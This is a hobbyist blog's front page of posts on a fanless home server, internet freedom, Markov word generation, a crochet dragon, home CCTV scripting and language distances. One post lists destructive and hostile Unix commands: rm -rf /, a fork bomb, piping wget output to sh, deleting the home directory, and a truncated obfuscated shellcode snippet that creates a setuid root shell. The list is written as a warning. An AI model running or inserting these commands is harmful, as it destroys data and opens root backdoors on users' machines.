Choose color scheme

Ben's blog

  • The static experiment

    Akrin is an server whose soul has been through many iterations of old hardware. It never needed much resources so I easily got away with $30 PCs bought at the university surplus.

    It currently resides on an aged Pentium IV with just 500MB of RAM and some old IDE hard drive. With the addition of more & more projects (recently: CCTV installation, new sites such as, database intensive Markov chains generation), it’s close to maximum capacity and could use an upgrade.

    More than new hardware I’ve decided it was time to change how computing was done at home.¬† And I’m going for no moving parts. This means no fans, no spinning disks and no moving heads.

    What are the advantages?

    • no vibrations, not an iota of noise
    • no jet take off sound when running heavier computation
    • no malfunctioning fans that could result in a fire hazard
    • supposedly hardware that is more resistant to shocks
    • fanless means less powerful which in terms means less power consumption

    Here’s what I ordered:

    It doesn’t come with RAM or a hard drive. I like the small form factor and the fact that it has 2 NICs. This means it can easily be recycled in a nice router should the experiment fail.

    • Some RAM (DDR2 SODIMM), I went for the max 2GB that the EPC-6542 will support. ($45) link
    • A 2.5″ SATA II 128GB solid state disk (SSD) ($223 – $75 mail in rebate = $148) link

    Now SSDs are pretty expensive compared to traditional hard drives so it is a high price to pay for no moving parts. But they are also much faster, and because of the CCTV cams recording  24/7, I think that the I/O speed gain will have a tremendous overall effect on the server.

    Akrin will soon run on $423 of new hardware, this is unprecedented :)

    To be continued…

  • The death of the internet

    Let me throw a few of concepts we’ve been hearing about more & more lately:

    • metered bandwidth
    • end of net neutrality
    • content censorship
    • protocol restrictions
    • geographic restrictions
    • wiretapping
    • deep packet inspection
    • malware becoming crimeware
    • dataleaks
    • DDoS
    • internet kill switch

    The way that we used to see the internet as an unrestricted web of information is changing rapidly. And it looks like the free ride is coming to an end.

    Corporations want to dictate our internet usage, politicians don’t understand the issues of a technology from the next generation; and if they do, lobbyist money has a strong convincing power. And quite frankly your average user has no clue either. What was once a free and unrestricted flow of information is quickly becoming a metered and port/site/protocol restricted happy network.


    Traffic discrimination & Net Neutrality

    Comcast’s P2P throttling suit

    What was revolutionary about the internet was its lack of boundaries, the world was connected. Since then the marketing & licensing geniuses have caught on to the fact that it is possible to restrict content by geographic location. Like regions on DVDs you now cannot consume certain media in certain regions. It is a travesty to the human accomplishment that is the internet and inevitably leads to the absurdity that it is easier to consume pirated content than legal one.

    Organized crime also has caught on, the obnoxious malware & viruses that were once spreading for fame or installing dumb toolbars are now becoming very targeted at committing crimes. From harvesting financial information to generating DDOS attacks. A black market of stolen information and network hitmen is emerging on an internet that many companies handling your data do not understand. Viruses much like biologic organisms are becoming polymorphic with self defense mechanisms. Their technological advancement clearly shows funded work as opposed to the classic image of the basement hacker we all have ingrained in our heads.


    Zeus botnets specialized in harvesting financial data

    Researchers hijack control of the Torpig botnet for 10 days and recover 70 GB of stolen data from 180,000 infections

    Governments are starting to play their silly international politics game on this new field, releasing cyber attacks against one another. The amount of information & critical infrastructure facing the great network is making it a strategic field of military and intelligence importance. It is clear that the network in its current state of international openness is an issue to government interests, and we can fully expect to find cyber borders erected in the near future, not unlike the great firewall of China even though this last example has other applications. Applications that pertain to opinion control via censoring, China isn’t the only country doing that, Australia is pretty good at it. And the U.S. is working on creating a presidential “interet kill switch”, you know just in case people here get sick enough of 2 everlasting wars and 4th amendment tramplings to take the streets. Egypt has just done it, they shut down internet and cell phone communications during their 2011 protests.


    Stuxnet’s specific targeting of Iran’s SCADA controled systems

    The Great Firewall of China

    Australia’s intenet censorship

    Obama’s internet kill switch

    How Egypt shut down the internet

    At a time when Wikileaks is putting to shame governments and corporations, more controls are inevitable.

    So what’s next?

    Computers and network devices have become increasingly powerfull. So much so that this blog you’re reading is instantiated on a 8 years old server sitting on a fridge behind a home DSL. Besides computing & networking power, something else has been growing that you might have heard about: social networks.

    I think that one day, a couple of geeks will be tired of the state of the internet and will throw a home-made link between their houses to share what they want when they want without getting advertised, wiretapped, datamined or attacked. This can currently be done with long range wireless devices (WiMAX) or even by adding a layer to the current infrastructure (think VPN).¬† Soon a third geek friend will want in, and provided that he is trusted by the founders, he’ll get in. After a while, adding friends of friends will become too far out of reach for the founders to decide and they will implement a social reputation based system for dealing with users.

    And that’s it, you have a social network (at the strictest send of the term) that is growing & correcting itself based on reputation. This will of course be completely decentralized (unlike the internet) which means you will be relaying information for individuals you don’t know, hence the criticality of its reputation element.

    This network will eventually be overrun by corporate, mafia & government interests finding ways to abuse the reputation systems, it will slowly die and be replaced by another couple of geeks down the road.

    The end.

  • Markov chains based random word generation

    Markov chains are used primarily in Natural Language Processing for part-of-speech tagging. Corpora are studied to establish the construction of sentences. This is a very powerful algorithm that can also be used to generate new material (words, text, et cetera). In this first post I will talk about generating words.

    • How it works

    Given a corpus, letter patterns are studied at different depths. For depth one, the probability of a letter following another is established. For depth two the probability of a letter following a sequence of 2 letters is established. The same goes for greater depths. The result of all this studying is a table of probabilities defining the chances that letters follow given sequences of letters.

    When the time comes to generate words, this table of probabilities is used. Say that we need to generate a word at depth 2, we seed the word with 2 null letters, then we look in the table for all the letters that can follow a sequence of 2 null letters and their associated probabilities. Their added probabilities will be 1 obviously. We generate a random number between 0 and 1 and use it to pick which following letter will be chosen. Let’s say that the letter “r” was chosen. Our generated word is now comprised of “null” and “r”. We now use this sequence as the basis for our next letter and look for the letters that can follow it. We keep going until an null letter is reached, signifying the end of the generated word.

    Here’s a sample of a probability table:

    • Benefits of this algorithm

    It will generate words that do not exist but respect the essence of the corpus it’s based on. This is really cool for example to generate words that sound English but aren’t (say for random passwords that can be pronounced/remembered). We could also make a list of all the cool words (motorcycle, sunglasses, racing, et cetera) and extract their essence to generate maybe a product name that is based on coolness :).

    Go ahead and play with it:

  • Deadly Unix Commands

    • the oldie but goodie
    rm -rf /

    will recursively/force erase starting from the root directory

    • the obfuscated oldie but goodie
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755

    same as the previous one but harder to tell what it actually does

    • the fork bomb
    <code class="plain plain">:(){:|:&};:</code>

    forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

    • running code from a remote source
    wget -O- | sh

    lulscript will be executed on the local machine

    • the one you don’t need root for
    mv ~/* /dev/null

    sends the relative home directory into a black hole


    I came home to find one of my garbage cans laying on the ground. WHAT THE HELL? WHO DID THIS? I know, I will solve this ruthless crime with my new CCTV installation.

    An the culprit is:

    [flv: 640 480]

    the wind…

  • Crochet pattern for a slightly fierce but friendly really Dragon

    I was introduced to a really cool crochet pattern: , I finally finished it, it took a few trial and errors for a beginner like me but the result is freaking awesome and I got a lot better at crochet-ing.

    8 sc in ring
    FO leaving a bit of a tail.
    8 sc in ring, then sc into any stitch on the first ring and go all the way around both of them, ending up with 16 st. Use the tail to sew up any gap between the 2 parts.

    Head & Body:
    16 sc
    do the following reductions at the middle top and middle bottom of the nose
    14 sc
    14 sc
    12 sc
    10 sc
    do the next 4 increases at the top to create the head
    14 sc
    14 sc
    14 sc
    do the following decreases at the top
    12 sc
    10 sc
    8 sc
    8 sc
    8 sc
    increase by one stitch anywhere
    9 sc
    10 sc
    10 sc
    10 sc
    11 sc
    12 sc
    do the next increase at the bottom to create the body
    18 sc
    18 sc
    increase every 3rd stitch
    24 sc
    24 sc
    24 sc
    do the following increases at sides
    26 sc
    26 sc
    26 sc
    28 sc
    28 sc
    do the following reductions at the sides, but a bit randomly, or there will be a distinct line
    26 sc
    24 sc
    22 sc
    20 sc
    18 sc
    16 sc
    14 sc
    14 sc
    12 sc x 11
    11 sc x 3
    10 sc x 3
    9 sc x 3
    8 sc x 4
    7 sc x 10
    6 sc
    keep reducing every 2 st until the hole is too small to do any more

    Back legs (make 2):
    6 sc in ring;
    12 sc x 4
    6 sc, dec 2, dec 2, dec 2 -> 9
    9 sc
    9 sc
    6 sc, inc 2, inc 2, inc 2 -> 12
    1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, -> 18
    18 sc
    18 sc
    3 sc, dec 2, dec 2, 4 sc, dec 2, dec 2, dec 2, 1 sc -> 13
    2 sc, dec 2, dec 2, 2 sc, dec 2, 1 sc, dec 2 -> 9
    2 sc, dec 2, 2 sc, dec 2 -> 7
    keep reducing every 2 st until the hole is too small to do any more.

    Front legs (make 2):
    5 sc in ring
    10 sc x 4
    6 sc, dec 2, dec 2 -> 8
    8 sc x 6 rounds
    keep reducing every 2 st until the hole is too small to do any more.

    Spikes on back (make a long as needed):
    ch 3, sc into 2nd ch from hook, hdc into 3rd ch from hook, ch1

    Wings (make 2):
    ch 16
    skip 1st ch, 3 ss, 5 sc, 7 hdc, ch 2, turn
    7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 3, turn
    skip 1st ch, 2 ss (to make claws), 7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 2, turn
    7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 3, turn
    skip 1st ch, 2 ss (to make claws), 7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 2, turn
    7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 3, turn
    skip 1st ch, 2 ss, 15 sc
    Then sc along the base of the wing and along the other side, ch3, turn, miss 1st ch, 2 ss to make last claw.
    FO leaving tail to secure the last claw to the rest of the wing.

    Ch 6, turn
    skip 1st st, sc, dc, sc, ss.
    Leave the last ch and ss up the other side of the ear to the tip.

    Completing your dragon:
    Sew it all together!

    *** this pattern was slightly adapted (made a bit simpler) from , all credit due to heavens_hellcat ***

  • CCTV at home or how to lead an Orwellian household

    I have recently acquired 5 Foscam FI8918W ip cameras for monitoring my house.

    While this may seem like a step towards wearing a tinfoil hat, I have several reasons for doing so:

    • It’s a fun geek project that is a subset of a larger endeavor to wire my house (think remote control)
    • I love to know when the UPS guy dropped a package so I don’t have hundreds of dollars worth of electronics sitting on my front porch
    • I get to know how the freaking chicken get out of their cage
    • I get to know when the fucking raccoon is doing his patrol at night so I can shoot it in the face
    • I would like to do fast motion videos of the garden through the seasons
    • And yeah I’ll admit it, I like to keep an eye on stuffs

    These little cams are absolutely great, some key features include: cat5 & wifi (wep, wpa, wpa2) network access, nightvision, pan 300 degrees, tilt 120 degrees, remote control & view. I wish I had bought a couple of outside ones though. The problem with most cameras is that they do night vision by shining some infrared LEDs, if your camera is inside pointing outside, the IR will get reflected by the window and the outside won’t be visible. I have yet to mess with the angles and such to try and fix that.

    What an inside camera pointed at the outside looks like at night

    The web interface for the cams is great, although not all the features are supported in browsers other than IE (for example sound, microphone and multicam) but video & remote control are fine.

    If you want to record what the cams see, you’ll want a server on your network. In my case I use my Linux box and run the following script every hour:

    pkill -9 wget
    nohup wget http://<cam1_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam1_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam2_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam2_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam3_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam3_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam4_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam4_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam5_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam5_`date +%F_%T`.asf > /dev/null 2>&1 &
    rm /cameras/cam*_`date --date="5 days ago" +%F_`*.asf

    This hourly rotation makes it convenient to quickly locate a file pertaining to an event you’re interested in. I am removing files older than 5 days but this can easily be adjusted on the last line. The directory where this all ends up is exported to a web server for remote access which yields the following results:

    As you can see, an hour on 1 cam takes about 500M of disk space. This is because the cams do not have the processing power to compress the video stream, and this is fine by me, I don’t want them doing anything of the sort. The hourly cron could very well be augmented to encode new files but storage is cheap, my server not beefy and 5 days are more than enough for me.

    As for making the cameras themselves available on the web, this frankly takes some guts. This is obviously a very critical device that you do not want anybody to have access to. One could simply forward some ports on their routers and rely on the cam’s authentication mechanism (make sure to change the default of admin/<blank>…). I don’t want the cams to even face the world where they are susceptible to exploits and bruteforce attacks so I proxy their access through my web server. This allows me to restrict IP access (default deny of course). I am also able to keep an eye on the logs and in general adds a layer of protection.

    Here is the .htaccess file that does this magic for one of the cams (you’ll need to have mod_proxy enabled)

    Options +FollowSymLinks
    RewriteEngine On
    RewriteBase /
    RewriteRule ^(.*)$ http://<cam_ip>/videostream.cgi?user=<username>&pwd=<password> [P]

    Foscam made it really easy to mess with the cam, all of the options that are available through their web interface are also available through direct URL calls which makes it easy to integrate the camera functionalities in a script (like the recording above). I’ve even started writing my own web interface for semi-public access that allows for visual customization as well and very granular function control.

    the following URLs can be appended with “&user=<username>&pwd=<password>” so as to authenticate directly.

    • http://<cam_ip>/snapshot.cgi gives you the current image
    • http://<cam_ip>/video.cgi gives you live video
    • http://<cam_ip>/live.htm gives you live video
    • http://<cam_ip>/set_misc.cgi?ptz_patrol_rate=20 lets you change the rotation speed of the motors.
    • http://<cam_ip>/set_misc.cgi?ptz_center_on_start=0 turns off the initial power-on rotation
    • http://<cam_ip>/set_misc.cgi?led_mode=2 disables the front status LED
    • http://<cam_ip>/reboot.cgi will reboot the cam
    • http://<cam_ip>/decoder_control.cgi?command=0&onestep=1 tilts up
    • http://<cam_ip>/decoder_control.cgi?command=2&onestep=1 tilts down
    • http://<cam_ip>/decoder_control.cgi?command=4&onestep=1 tilts left
    • http://<cam_ip>/decoder_control.cgi?command=6&onestep=1 tilts right
    • http://<cam_ip>/set_misc.cgi?ptz_auto_patrol_type=1 sets the patrol type, possible values: 0: none; 1: horizontal; 2: vertical; 3: horizontal + vertical
    • http://<cam_ip>/get_misc.cgi displays functional values
    • http://<cam_ip>/get_log.cgi displays access log
    • http://<cam_ip>/get_params.cgi displays configuration values

    I’m very happy with them, they’re great products and fun to play with. One downside is their microphones which are pretty horrible but I don’t care much about sound. Here are a few pictures of them in action:

    Inside cam pointed outside during the day

    Nightvision in the chicken coop

    [flv: 640 480]

  • All it takes is a freaking good camera

    permission to use & reproduce, just not to make money off of.

  • On the distance between languages

    Here are the results of a small study to calculate the distance between words in english and other languages. The way the computation is done is by going through a list of basic english words, using the Google Translate API to get translations into other languages and finally computing a levenshtein between each English/translated pair of words. The final distance is an average.

    This only looks at the spelling words, the next step is to look at their phonemes.

    Feel free to use the datasets bellow and please let me know what you’re working on :)

    language      distance from english
    Swedish 63.88%
    Danish 66.69%
    Dutch 66.78%
    French 69.31%
    German 72.27%
    Italian 76.89%
    Spanish 82.14%
    Albanian 88.61%
    Croatian 90.74%
    Estonian 91.45%
    Polish 92.48%
    Hungarian 102.2%